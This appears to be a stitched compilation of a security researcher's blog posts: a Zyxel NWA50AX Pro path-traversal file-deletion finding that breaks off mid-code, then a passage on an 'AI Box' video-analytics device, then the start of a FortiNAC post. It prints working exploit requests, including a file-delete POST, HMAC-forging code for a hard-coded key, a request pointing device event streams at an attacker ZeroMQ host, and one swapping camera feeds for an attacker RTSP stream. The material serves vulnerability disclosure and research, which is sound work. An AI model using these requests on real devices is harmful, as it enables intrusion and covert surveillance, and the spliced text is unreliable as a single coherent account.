Frycos Security Diary

Zyxel NWA50AX Pro - Discovery of an Nday Variant

2025-06-17T01:00:00+00:00

Today was an eventful day thanks to many interesting blog posts, e.g. from my friends at watchTowr. So I thought, why not publish a small quick-and-dirty blog post myself about a story from last week? This blog post may not be of the usual quality, but it was a good time to write it.

A few days ago I went on vacation in the mountains. Relaxing on green meadows, breathing in the mountain air and a hike every day to recharge my batteries from vulnerability research (VR). Getting away from work in the meantime turned out to be difficult once again, at least for one evening. After a long day on my feet, I would sit with a beer in the late night and stare around the apartment with satisfaction. Suddenly, I spotted this little buddy. It’s name was Zyxel NWA50AX Pro, a multi-gig WiFi 6 access point for small businesses.

This story will later explain the twist from 0day euphoria to nday but I don’t want to anticipate too much at this stage.

Gathering Information

I started asking Google about this device a bit and of course searched for publicly known vulnerabilities. A few were found, even with critical rating, injecting things into host headers, cookies etc. Without being biased, I began searching for the firmware which was quickly found here. Feeding my unblob script with it easily revealed a squashfs file system.

bin  init   mnt      rom              rootfs_data.img_extract  tmp   var
dev  lib    overlay  root             sbin                     usr   www
etc  lib64  proc     rootfs_data.img  sys                      util

Browsing through a few directories led me to /usr/local/.

bin  lighttpd  sbin  ssl  zyxel-diaginfo  zyxel-gui

lighttpd is a well-known web server used for embedded devices, so in the corresponding conf directory usually lies the config file lighttpd.conf.

var.log_root = "/var/log"
var.server_root = "/usr/local/lighttpd"
var.state_dir = "/var/run"
var.conf_dir = "/usr/local/lighttpd/conf"

server.tag = ""
server.document-root = "/usr/local/zyxel-gui/htdocs"
server.errorlog = log_root + "/error.log"
server.pid-file = state_dir + "/lighttpd.pid"
server.stat-cache-engine = "simple"
server.stream-request-body = 2
server.stream-response-body = 2

server.modules = (
  "mod_access",
  "mod_alias",
  "mod_redirect",
  "mod_rewrite",
  "mod_setenv",
  "mod_openssl"
)

index-file.names += (
  "weblogin.cgi", "index.html", "index.htm"
)

$HTTP["url"] =~ "\.pdf$" {
  server.range-requests = "disable"
}

$HTTP["host"] == "nap-slogin.nebula.zyxel.com" {
   url.rewrite-once = ( "^/CP/(.*)" => "/cgi-bin/tmp/captive-portal/$1")
}

server.follow-symlink = "enable"
server.upload-dirs = ( "/tmp" )

alias.url += ("/pub/" => "/tmp/daily-report/pub/")
alias.url += ("/lang/" => "/var/zyxel/lang/")

## Load the module configs.
include "conf.d/mime.conf"
include "conf.d/auth_zyxel.conf"
include "conf.d/setenv.conf"
include "conf.d/cgi.conf"

## Load runtime generated conf
include "/var/zyxel/service_conf/httpd_zld.conf"
include "/var/zyxel/service_conf/portal_used.conf"

More configuration files were included via directives such as auth_zyxel.conf and cgi.conf. A bit of browsing on the guest device was all I got, because obviously I didn’t have the opportunity to take the device apart and destroy it. .cgi endpoints were quickly spotted in my proxy tool, even on the login page.

Calling some CGIs was allowed, most of them not: as expected. So how was authentication and authorization handled here? Maybe auth_zyxel.conf might give us some clues.

server.modules += ( "mod_auth_zyxel" )

#
# If URL does not match while list patterns below, request will be redirect to this location.
# NOTE: Admin type user will never be redirected.
#
auth_zyxel.AuthZyxelRedirect = "/"

#
# Global URL whilte list pattern
#
auth_zyxel.AuthZyxelSkipPattern	= (
	"/images",
	"/weblogin.cgi",
	"/I18N.js",
	"/language",
	"/logo",
	"/login.cgi",
	"/Clicktocontinue.cgi",
	"/nebula_ap_redirect.cgi",
	"/logout.cgi",
	"/find_me.cgi",
	"/social_login.cgi",
	"/nebula_ga_auth.cgi",
	"/userdata.html",
	"/jquery-3.2.1.min.js",
	"/tmp/captive-portal/",
	"/CP/",
	"/limit.html",
	"/fbwifi_forward.cgi",
	"/fbwifi_auth.cgi",
	"/fbwifi_continue.cgi",
	"/fbwifi_error.cgi",
	"/cdr.cgi",
	"/ip_reputation_block.cgi",
	"/dns_filter.cgi",
	"/cloud_idp_login.cgi"
)

#
# User or Guest type user whilte list pattern
#
auth_zyxel.AuthZyxelSkipUserPattern = ( 
	"/setuser.cgi",
	"/grant_access.html",
	"/cgi-bin/",
	"/frame_access.html",
	"/dummy.html"
)

Without really knowing anything about this target, words like AuthZyxelSkipPattern and AuthZyxelSkipUserPattern clearly trigger our VR senses. The blackbox guy in me simply put all these paths into a word list and tried to ffuf anything interesting out of it. Surprisingly, instead of a 302 status code suddenly some 200/400/500 appeared out of nothing. The permutation of /yourenotallowedtoaccess.cgi/images gave access to the CGI binaries’ logic from an unauthenticated context.

lighttpd Questions

I was asking myself: is this a Zyxel thing or intended behavior in lighttpd configurations? We needed some testing ground, didn’t we? Docker is our friend for quick setups.

lighttpd:
  image: sebp/lighttpd
  volumes:
    - /home/temp/lighttpdCGI/home:/var/www/localhost/htdocs
    - /home/temp/lighttpdCGI/config:/etc/lighttpd
  ports:
    - "8181:80"
  tty: true

How does a proper CGI configuration with lighttpd look like: read official documentation. Using the Docker image author’s GitHub configuration files, I made some modifications making it CGI aware.

var.server_root = "/var/www/localhost/htdocs"

server.modules = (
SNIP
    "mod_alias",
SNIP
    "mod_cgi"
)

alias.url += ( "/cgi-bin" => server_root + "/cgi-bin" )
$HTTP["url"] =~ "/cgi-bin/" {
    cgi.assign = ( "" => "" )
}

cgi.assign     = (
    ".cgi" => ""
)

Then in our home/cgi-bin directory, we put a very simple CGI program

#include 
using namespace std;
int main()
{
    cout<<"Content-type: text/plain"<<endl<<endl;
    cout<<"Hello World!"<<endl;
 
    return 0;
}

compiled with gcc statically on our host system and copied over. Starting the Docker container, and testing /cgi-bin/test.cgi versus /cgi-bin/test.cgi/hiking gave the same results: the CGI was executed for both variants. Ok, that was enough of a proof for me to proceed with the Zyxel device.

Hunting the Proper CGI

Now, we could reach probably any CGI binary without authentication, I started searching for interesting functions in each of them manually. All binaries found in /usr/local/lighttpd/cgi-bin were put into Ghidra for a proper inspection. After an hour or so I landed at file_upload-cgi. Would it have been a good idea to search for this CGI binary name now if someone else did some VR work already? Naaaaah, I’m on vacation so the serious VR methodologies didn’t apply to me.

The entry export was calling the function FUN_001016a0. I’ll walk you through the interesting parts step by step. Be aware that I of course renamed quite a few variables for explanatory reasons.

  if (iVar2 == 0) {
    request = qcgireq_setoption(0,1,&DAT_SlashTmp,0,qcgireq_setoption); // [1]
    if ((request == 0) || (request = qcgireq_parse(request,0,qcgireq_parse), request == 0)) {
      uVar3 = 0xffff9e58;
LAB_00101998:
      FUN_0010229c(local_2808,uVar3);
      goto LAB_00101778;
    }
    DAT_00114260 = (**(code **)(request + 0x48))(request,&DAT_00102d2c); // [2]
    snprintf(acStack_2408,0x400,"%s.length","file_path");
    iVar2 = (**(code **)(request + 0x48))(request,acStack_2408); // [3]
    if (iVar2 == 0) { // [4]
      uVar3 = 0xffff9e57;
      goto LAB_00101998;
    }

At [1] the content of a request was stored at the address of the variable request. A certain query parameter was then read at [2] (nv in this case) or even more interesting file_path at [3]. If the query parameter wasn’t set, iVar2 was equal to 0 and we would hit the branch at [4]. uVar3 held an error code and got returned in the response. This was super convenient from my “static analysis and blackbox device access” perspective.

This code was a recurring pattern of this function and so I could simply control which branch my request was running into depending on the response error codes. E.g. by not setting any parameters with a simple GET request to /cgi-bin/file_upload-cgi/images, the following page was returned.

HTTP/2 200 OK
Content-Type: text/html
SNIP

errno0=-25001 corresponds to exactly one of the error codes of uVar3. Flowing through the functions’ code from top to bottom, I stopped at this.

file_path = (char *)(**(code **)(request + 0x30))(request,"file_path",0);
if (file_path == (char *)0x0) {
  uVar3 = 0xffff9e58;
}
else {
  snprintf(acStack_2008,0x1000,"%s/%s",&DAT_SlashTmp,file_path.filename,snprintf); // [7]
  unlink(acStack_2008); // [5]
  rename(file_path,acStack_2008); // [6]
  iVar2 = strcmp(__s1,"firmware");

An unlink call at [5] (basically a file delete) and a following rename [5] had piqued my interest. In addition, at [7] my user-controlled file_path.filename query parameter was concatenated to a static path prefix via snprintf. Smells like path traversal, doesn’t it? As indicated by my renamed variable DAT_SlashTmp, this was a static value of /tmp, probably enabling me to traverse out of the intended context: /tmp/../../../im/a/hackerman.

Exploitation Success

Response error code debugging led me to the following POST request, hopefully deleting (thanks to unlink) the logo PNG file used at the login page.

POST /cgi-bin/file_upload-cgi/images HTTP/1.1
Host: TARGET
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 230

file_path=/usr/local/zyxel-gui/htdocs/ext-js/web-pages/login/images/login_logo.png&nv=a&file_path.length=48&file_type=certlocal&vn=b&file_path.filename=../usr/local/zyxel-gui/htdocs/ext-js/web-pages/login/images/login_logo.png

After firing the request, a direct comparison of the original login page

revealed a successful deletion.

With an arbitrary file delete primitive alone, several further attacks should have been possible. Especially by abusing the rename call afterwards, this should give us another primitive of deleting a file and being replaced by, let’s say, a backup’d version (password file *cough*).

Impact

Alright, we didn’t see any related CVEs in the last years for this special device but could I find them on the public internet as well? Luckily, some were easily identified in no time. Vulnerable test as easy as sending a GET request to /cgi-bin/file_upload-cgi/images with a response similar to the one mentioned above. The one in my apartment was vulnerable indeed, as were >80% of the 42 devices I found. I didn’t test the non-Pro version devices for which CensysIO returns over 200. But what about the Pro devices returning 400 instead?

Doing VR without following the standard methodologies might not had been my best idea, as it turned out. Searching for the 400 status code in Ghidra gave me this.

LAB_00101784:
  if (local_2808[0] != '\0') {
    puts("Content-Type: text/html\r\n\r");
    puts("\r");
    if (DAT_00114260 == 0) {
      puts("

Obviously, I first searched for the nginx configuration.

$ cat nginx.conf

user  root;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;
error_log /dev/null;

#pid        logs/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;
    access_log off;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    include /AIBOX/web/conf/nginx.conf; <-----------
}

Nothing to interesting but another include reference to /AIBOX/web/conf/nginx.conf.

$ cat ../../AIBOX/web/conf/nginx.conf
    server {
        listen        80;
        server_name  localhost;
        server_tokens off;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;
        #
        ## onvif
        location /onvif {
            proxy_pass   http://127.0.0.1:10030;
	    }
	    ## http tunneling
        location /live {
            proxy_buffering off;
            chunked_transfer_encoding off;

            proxy_request_buffering off;

            proxy_pass  http://127.0.0.1:701;
	    }

        location / {
            root   html;
            index  index.html index.htm;
        }

        location = /favicon.ico {
            access_log off;
            log_not_found off;
            return 404;
        }

        location = /robots.txt {
            access_log off;
            log_not_found off;
            return 404;
        }
		[...]
    # HTTPS server
    #
    server {
        # error_page 497 = @fallback;
        error_page 497 https://$host:8443$request_uri;

        listen        8443 ssl; <-------
        server_name  _;
        server_tokens off;
		[...]
        ## onvif
        location /onvif {
            proxy_pass   http://127.0.0.1:10030;
	}
        
        location /itx {
            include proxy.conf;
        }
        location ~ ^/api/system/management/db/import/$ {
            client_max_body_size 256M;
            include proxy.conf;
        }
        location ~ ^/api/system/management/fwupdate/(upload|run)/$ {
            client_max_body_size 32M;
            include proxy.conf;
        }
        #Location for JanusGW - ugiepark 20190430
        #location /janus {
        #        proxy_set_header Host $host;
        #        proxy_set_header X-Real-IP $remote_addr;
        #        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        #        proxy_pass http://127.0.0.1:8088;
        #}
        #location /download/ {
        #    auth_digest 'itxrealm';
        #    auth_digest_user_file /etc/passwd.digest;
        #    auth_digest_expires 5s;
        #    auth_digest_replays 500;
        #    auth_digest_maxtries 30;
        #    auth_digest_evasion_time 60s;
        #    root /common;
        #    sendfile on;
        #}
        location /ws {
            proxy_http_version 1.1;
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "Upgrade";
            proxy_set_header Origin "";
            #proxy_set_header Host $host;
            #proxy_set_header X-Real-IP $remote_addr;
            #proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_pass http://127.0.0.1:702;
        }
        location / {
            #auth_digest 'itxrealm';
            #auth_digest_user_file /etc/passwd.digest;
            #auth_digest_expires 5s;
            #auth_digest_replays 500;
            #auth_digest_maxtries 30;
            #auth_digest_evasion_time 60s;
            include proxy.conf;
        }
		[...]

Since I found this AI Box web service being exposed on TCP port 8443, focusing on the HTTPS configuration part made sense. There was indeed tons of interesting information on this nginx configuration file(s) to look for e.g. misconfigurations or simply to understand the architecture of this device. Just for the record: I ran into a lot of rabbit holes during this process!

But the location / directive should be a good starting point, so proxy.conf in the same directory was investigated next.

$ cat proxy.conf 
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://127.0.0.1:8000;

A web service running on TCP port 8000, listening only on the loopback interface seemed to handle incoming HTTP requests for this case. But we didn’t have access to an AI Box through a shell or something. Also I didn’t want to waste a lot of time with trying to get this running in a QEMU environment at this early stage of investigation. So I decided: let’s just go to the parent directory AIBOX/web first and try to l00t some stuff. The run.py contained the following Python code.

from webra import create_app, create_api_spec, cert_restore

if __name__ == '__main__':
    app = create_app() # [1]

    # cert restore
    cert_restore()

    # api document
    create_api_spec(app)

    # run server
    # app.run(host='0.0.0.0', threaded=True, port=8000, debug=False)
    app.run(host='127.0.0.1', threaded=True, port=8000, debug=False)

Direct hit! We recognize the port 8000 again and we knew Python was the next part of our tech stack enumeration. Following the code at [1] brought me to the file webra/__init__.py.

from apispec import APISpec
from apispec.ext.marshmallow import MarshmallowPlugin
from apispec_webframeworks.flask import FlaskPlugin
from marshmallow import Schema, fields
from flask import Flask
from . import urls

from webra.routes import api_network_video_source, api_network_metadata
from webra.routes import api_system_info, api_system_management
from webra.routes import api_board_io, api_bi_counter
from webra.routes import api_rule_event_server
from webra.routes import api_snapshot
from webra.routes import api_source_lpr
from webra.routes import api_source_fr
from webra.routes import api_capability
from webra.routes import api_network_wireless_setup
from webra.routes import api_system_db
import json
import os
import shutil

def create_app():
    app = Flask(__name__, instance_relative_config=True) # [2]
    app.config.from_mapping(
        SECRET_KEY='dev',
        DATABASE=os.path.join(app.instance_path, 'db.sqlite3'),
    )
    app.config.from_pyfile('config.py', silent=True)
    app.config['MAX_CONTENT_LENGTH'] = 256 * 1024 * 1024

    urls.init_app(app)
    return app
[...]

[2] disclosed that the targeted web services were built on Flask, a micro web framework written in Python. We spotted other interesting clues like hard-coded secret keys, SQLite as database engine etc. pp. Going back to run.py a method create_api_spec(app) got called.

def create_api_spec(app):
    # api doucment
    #  refer
    #  - https://redocly.github.io/redoc/
    #  - https://redocly.github.io/redoc/openapi.yaml
    #  - https://marshmallow.readthedocs.io/en/stable/api_reference.html
    #  - https://apispec.readthedocs.io/en/latest/special_topics.html
    info = {
        "description": ('# Authentication\n'
                        '1. User-Agent in HTTP header SHOULD be \"Client Application\".\n'
                        '2. One of the following HTTP API authentications is required:\n'
                        '  - Digest Authentication (Recommended)\n'
                        '  - Basic Authentication\n'
                        '\nMost HTTP clients or libraries support these authentication methods. (E.g. curl, wget, Postman)\n'
                        )
    }
    spec = APISpec(
        title="HTTP API Document",
        version="1.0.0",
        openapi_version="3.0.2",
        plugins=[FlaskPlugin(), MarshmallowPlugin()],
        servers=[{'url': '/'}],
        info=info,
        tags=[],
    )

    with app.test_request_context(): # [3]
        spec.path(view=api_capability.get_capability)
        spec.path(view=api_network_video_source.get_vsources)
        spec.path(view=api_network_video_source.update_vsources)
        spec.path(view=api_source_lpr._CR_lps)
        spec.path(view=api_source_lpr._UD_lp)
        spec.path(view=api_source_lpr._REL_bind)
        spec.path(view=api_source_lpr._REL_unbind)
        spec.path(view=api_source_fr._CR_faces)
        spec.path(view=api_source_fr._UD_face)
		[...]

Nice, an API specification definition probably generating Swagger-like output for different URI paths listed at [3]. spec.path(view=api_network_video_source.get_vsources) sounded like an interesting path for a first drill-down. We’re looking at an AI Box doing fancy stuff with video stream content, right? Jumping to the route definition in webra/routes/api_network_video_source.py showed this.

@bp.route('/', methods=['GET'])
def get_vsources():
    """
    Video Source 조회
    ---
    get:
      tags:
        - Video Source
      summary: Get Video Sources
      description: |
        Returns a list of video sources.

        The length of the list is the maximum number of channels supported by the device.

      responses:
        '200':
          description: successful operation
          content:
            application/json:
              schema:
                type: array
                items: VideoSourceSchema
    """
    vsources = []
		count = nf_sysdb.get_uint("net.vsource.count")
	[...]

The nf_sysdb modules by the way were not resolved in my IDE automatically. Why? Because these were defined in .pyc files. One had to decompile these with one of many pyc decompilers available today.

pyc file contains the “compiled bytecode” of the imported module/program so that the “translation” from source code to bytecode can be skipped on subsequent imports of the *. py file. Having a *. pyc file saves the compilation time of converting the python source code to byte code, every time the file is imported. (Source)

As the name of the module indicated, these were operations on the database but I wasn’t interested in these too much, so let’s just proceed. Unfortunately, I couldn’t simply call the endpoint from an unauthenticated context. The “responsible” part: from ..auth.digest import auth probably. Investigating a bit further brought me back to the method create_app().

def create_app():
    app = Flask(__name__, instance_relative_config=True)
		[...]
    urls.init_app(app) # [4]
    return app

We follow the call at [4] to webra/urls.py.

def init_app(app):
    for url in urls:
        bp, prefix, login_required = url
        if login_required:
            bp.before_request(auth.login_required(lambda *args: None))
            bp.before_request(check_permission)
        app.register_blueprint(bp, url_prefix=prefix)
[...]

For every entry in the urls list, a triple bp, prefix, login_required was read. If login_required evaluated to True, the auth.login_required() call got relevant, implemented in bwebra/auth/multiauth.py. The code basically checked for Bearer tokens and Basic Auth headers which were then validated in subsequent steps. I didn’t spot any immediate flaws in their logic (you might?), so got back to the urls list.

urls = [
    # (blueprint, url_prefix, login_required)
    (api_capability.bp, '/itx', False),
    # (api_rule_face_recognition.bp, '/api-noauth/rule/fr', False),
    (api_events.bp, '/api/events', True),
    (api_event_callback_zmq.bp, '/api/event/callback/zmq', True),
    (api_network_ip_setup.bp, '/api/network/ip', True),
    (api_network_metadata.bp, '/api/network/metadata', True),
    (api_network_video_source.bp, '/api/network/vsources', True),
    (api_network_sequrinet.bp, '/api/network/sequrinet', True),
	[...]

As expected, every entry consisted of a triple, the third part specifying the login_required condition. At the very top, I found (the only) entry with a False: (api_capability.bp, '/itx', False). No authentication required for routes defined in webra/routes/api_capability.py? Let’s have a look at the route definitions.

@bp.route('/capability/', methods=['GET'])
def get_capability():
    """
    Get Capability
    ---
    get:
      tags:
        - Capability
      summary: Get Capability
      description: Get system capability, license info, etc.
	  [...]

Mhmm, no authentication/authorization checks visible but also not really any code with interesting processing of user-controllable input. Next one:

@bp.route('/ai/analytics/', methods=['GET'])
def get_ai_analytics():
    if not authentication( # [6]
            request.headers.get('X-Auth-Signature'),
            request.headers.get('Date'),
            request.data.decode()):
        return HttpUnauthorized("")
    
    vsources = []
    lang = request.args.get("lang", "en") # [5]
    count = nf_sysdb.get_uint("net.vsource.count")
	[...]

Yes, some user-controlled input indeed at [5] but what is [6] all about? They implemented another “authentication” check just for this routing class? Great…

The Flaw

The authentication (or better authorization imho) check seemed to use different parts of the request to decide if access would be granted or not via the method authentication.

def authentication(signature, rfc822_date, body):
    try:
        plain = '{0}:{1}'.format(body, rfc822_date)
        hamc_key = '[REDACTED]'
        signature_want = hmac.new(hamc_key.encode(), plain.encode(), hashlib.sha256).hexdigest()

        timestamp = email.utils.mktime_tz((email.utils.parsedate_tz(rfc822_date)))
        expires = timestamp + 3600
        cur_ts = int(time.time())

    except Exception as e:
        print(e)
        return False

    if signature_want == signature:
        if cur_ts < expires and cur_ts - timestamp < 3600:
            return True
        print("* Token Auth Failed. cur_ts[{}] expires[{}]".format(cur_ts, expires))
    return False

So the method took three parameters from the request:

A header value for the key X-Auth-Signature
A header value for the key Date
The request body content

Here was the flaw: a hard-coded secret for the HMAC calculation in hamc_key (yes, I copypasta’d this variable name). The provided request body got concatenated with the provided Date header value and then hmac.new calculated a signature value across the entire content. If the calculated value equaled to the header value for X-Auth-Signature: Access Granted. Also one had to take into account that there was an accepted time range only for the corresponding Date value. This shouldn’t have been a problem, though, since a simple GET request to / returned the device’s timestamp in the Date response header anyways.

Exploitation

So all the routes in webra/routes/api_capability.py should theoretically now have been accessible to us. For a simple GET request to e.g. the URI path /itx/ai/analytics/, we could calculate the the HMAC easily

import hashlib
import hmac

body = ""
rfc822_date = "Mon, 26 Jun 2023 08:03:16 GMT"

plain = '{0}:{1}'.format(body, rfc822_date)
hamc_key = ''
signature_want = hmac.new(hamc_key.encode(), plain.encode(), hashlib.sha256).hexdigest()

print(signature_want)

and sent the following request:

GET /itx/ai/analytics/ HTTP/1.1
Host: HOST:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Auth-Signature: 2b8d91502dbd42a8f3ec98e44d062157c64ae2aea4f6a7730da1256ca218f446
Date: Mon, 26 Jun 2023 08:03:16 GMT
Connection: close

The AI Box responded with the following content:

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Jun 2023 08:03:58 GMT
Content-Type: application/json
Content-Length: 4049
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

[
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 0, 
    "name": "Entrance 1", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second0"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 1, 
    "name": "Security Zone 2", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second1"
  }, 
  {
    "ai": "mot_human_car_mid", 
    "algo_type": "mot", 
    "category": "Human/Car", 
    "ch": 2, 
    "name": "Supplier Entrance", 
    "text": "Human / Vehicle Detector", 
    "url": "rtsp://ADMIN:12345@10.0.0.1:5553/live/second2"
  }
  [...]

Great! No 401 Unauthorized but configurations of video source channels with IP address and even credentials. Ok, but where is the Hollywood part now, you might ask?! I got two API calls for you for the cinema feelings.

Track Detections

What about receiving an event to your attacker machine every time a vehicle, person etc. would have been detected on one of the video input streams? The following API will help us to do exactly this.

@bp.route('/ai/owner/', methods=['POST'])
def post_ai_owner():
    if not authentication(
            request.headers.get('X-Auth-Signature'),
            request.headers.get('Date'),
            request.data.decode()):
        return HttpUnauthorized("")

    data = request.get_json(force=True) # [7]
    owner = data.get("owner")
    zmq_addr = data.get("zmq_addr")

    if not owner or len(owner) < 12:
        return HttpBadRequest("The valid `owner` param is required.")

    if not zmq_addr or "tcp://" not in zmq_addr:
        return HttpBadRequest("The valid `zma_addr` param is required.")

    _owner = nf_sysdb.get_str("ai.analytics.owner")
    if owner != _owner and _owner != "":
        return HttpForbidden("other owner is already registered.")

    nf_sysdb.set_str("ai.analytics.owner", owner)

    # count = nf_sysdb.get_uint("event.callback.zmq.count")
    # for i in range(count):
    #     if i == 0:
    #         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), zmq_addr)
    #     else:
    #         nf_sysdb.set_str("event.callback.zmq.Z{}.addr".format(i), "")
    nf_sysdb.set_zmq_meta_addrs([zmq_addr])

    return jsonify(data)

At [7] our POST request body was parsed as JSON. The JSON should contain two members, owner and zmq_addr. I understood owner but zmq_addr? After asking Google, I was pretty sure to define a ZeroMQ host URL with this. According to Wikipedia:

ZeroMQ (…) is an asynchronous messaging library, aimed at use in distributed or concurrent applications. It provides a message queue, but unlike message-oriented middleware, a ZeroMQ system can run without a dedicated message broker; the zero in the name is for zero broker. The library’s API is designed to resemble Berkeley sockets.

I had to implement a “ZeroMQ” participant component then, right?

#!/usr/bin/env python3

import time
import zmq

context = zmq.Context()
socket = context.socket(zmq.PULL) # PULL, PUB, REP
socket.bind("tcp://*:1337")
print("[+] ZMQ server started")

while True:
    #  Wait for next request from client
    message = socket.recv()
    print("Received request: %s" % message)
    print("---------------------------------------------")

    #  Do some 'work'

Now sending a POST request as shown next, should configure our attacker host as ZeroMQ participant:

POST /itx/ai/owner/ HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:32:20 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

{"owner":"Tom Cruise Ltd", "zmq_addr":"tcp://[ATTACKER_HOST:1337]"}

And indeed, almost immediately after the POST request was sent, my ZeroMQ Python server began to receive data from the AI Box. I cannot provide the screenshots due to confidentiality (yes, I also altered all the other request/response contents) but incoming messages looked something like this:

Received request: b'{"source":"rtsp://10.0.0.1:555/Streaming/Channels/1?transportmode=unicast", "topic":"Detector/ObjectDetected","metadata":{"annotations":[{"class":"person","score":0.430000000123123123,"track_id":23234}]}}

Every minute or so I even observed informative “Heartbeat” messages "topic":"System/Keepalive/Heartbeat" containing all the configuration data. So this allowed me to track every detection event of persons, vehicles etc. as well as retrieving the current state of configuration of the device repeatedly.

Change Video Source

The final Hollywood call? What if we could change the video input source URLs such that we’d have been able to serve our own video stream content? Here we go, changing the input source channel 14 RTSP URL with our own URL:

POST /itx/ai/analytics/?owner=Tom+Cruise+Ltd HTTP/1.1
Host: HOST:8443
X-Auth-Signature: [HMAC_VALUE]
Date: Mon, 19 Jun 2023 11:55:14 GMT
Connection: close
Content-Type: application/json
Content-Length: [length]

[{"ch":"14", "name":"my own channel", "url":"rtsp://[ATTACKER_HOST]/mystream"}]

Conclusions

We didn’t find an unauth’d RCE but at least some unauth’d “Mr. Robot bugs”. Again, be aware that the Ganz Security Solutions device firmware might not be the solely responsible for these flaws. You’ll find more devices by other vendors and resellers when comparing Censys results with the login page I provided in the beginning of this blog post. Full impact for now? Not sure, yet. Also, after my disclosure process, Ganz Security provided a patched firmware version (mid of July 2023) to their customers but never really disclosed any issues to the public. Check your firmware version on your devices to be at least dated to 2023.

Internet Exposure Check

As mentioned in the introduction, a non-exhaustive Censys search revealed more than 3000 devices on the public Internet.

Indicators of Compromise (IoCs)

Unfortunately, I can only give vague advices this time because I don’t have shell access to such a device. These findings were found only through static analysis and tested against a few live targets over the Internet. But blocking and/or monitoring of any requests targeting /itx URI paths might be a good idea. Taking into account the request headers X-Auh-Signature and Date might also help to differentiate.

FortiNAC - Just a few more RCEs

2023-06-18T23:00:00+00:00

FortiNAC is a zero-trust access solution that oversees and protects all digital assets connected to the enterprise network, covering devices from IT, IoT, OT/ICS to IoMT. – https://www.fortinet.com/products/network-access-control

In February, 2023, a new vulnerability hit the mainstream news: CVE-2022-39952 (see FG-IR-22-300). Exploitation allowed an unauthenticated attacker to achieve remote code execution (RCE) on FortiNAC devices prior to version 9.4.1 through a chain targeting TCP port 8443. In short: an unprotected JSP file reachable via /configWizard/keyUpload.jsp allowed to upload a ZIP file which then got extracted to fully controlled paths.

There is a nicely written blog post by the Horizon3.ai team explaining the chain with a proof-of-concept exploit being published on GitHub.

Recon

Shortly after the first CVE-2022-39952 disclosures I thought, why not looking at this product in the patched version 9.4.1 to find some more vulnerabilities? Luckily, Zach Hanley from Horizon3.ai provided me both, the unpatched (9.4.0) and patched version (9.4.1) as virtual machine images. But where to start now? I assumed that most other people might have a look at the service on TCP port 8443 in greater detail, since there were tons of other JSP files. Because of this I focused on additional services which seemed to be started by default and of course being exposed on all network interfaces as well.

> netstat -antp | grep LISTEN
tcp        0      0 127.0.0.1:8010          0.0.0.0:*               LISTEN      4237/java           
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      4095/mysqld         
tcp        0      0 127.0.0.1:8013          0.0.0.0:*               LISTEN      4367/java           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1318/sshd           
tcp6       0      0 :::41434                :::*                    LISTEN      2547/java           
tcp6       0      0 :::1050                 :::*                    LISTEN      4237/java           
tcp6       0      0 :::8443                 :::*                    LISTEN      4237/java           
tcp6       0      0 :::36226                :::*                    LISTEN      4237/java           
tcp6       0      0 :::8080                 :::*                    LISTEN      4237/java           
tcp6       0      0 127.0.0.1:8081          :::*                    LISTEN      4237/java           
tcp6       0      0 :::33458                :::*                    LISTEN      4367/java           
tcp6       0      0 :::5555                 :::*                    LISTEN      2547/java           
tcp6       0      0 :::22                   :::*                    LISTEN      1318/sshd

Indeed, several services were started on the device by default and I had a closer look at the Java processes. I focused on the PIDs 4237/java and 2547/java because each of these seemed to implement multiple service at once.

Auditing Service Port 1050

Starting with TCP port 1050 belonging to the PID 4237, the process listing returned the following Java start routine: /usr/bin/java -server -XX:InitialRAMPercentage=5.0 -XX:MaxRAMPercentage=55.0 -agentlib:jdwp=transport=dt_socket,address=localhost:8010,server=y,suspend=n -XX:+HeapDumpOnOutOfMemoryError -XX:ErrorFile=./logs/hs_err_pid%p.log -XX:OnOutOfMemoryError=logger -s Java process %p encountered an OutOfMemoryError;kill -9 %p -Dyams.dist=/bsc/campusMgr -Djdk.nio.maxCachedBufferSize=262144 -Djava.awt.headless=true -Dorg.jboss.logging.provider=jdk -Djava.util.logging.config.file=./logging.properties -Dcom.bsc.server.PluginLoader.serial=true -Dcom.bsc.server.host=localhost.localdomain -Dcom.bsc.server.port=1050 -classpath .:/bsc/campusMgr/lib/*:./properties_plugin:/bsc/campusMgr/properties com.bsc.server.Yams -m [?MAC_ADDRESS?].

The entry point class turned out to be com.bsc.server.Yams, so let’s start with this: collecting all JAR files, putting them all together and decompiling everything at once (see e.g. this blog post of mine for a howto).

We explore the code base starting at com.bsc.server.Yams.main(String[] args).

public static void main(final String[] args) {
    final double version = getJavaVersion();
    if (version < 1.6) {
        System.out.println("Error: Incorrect java version. Java 1.6 or higher required. Version = " + version);
        System.exit(1);
    }
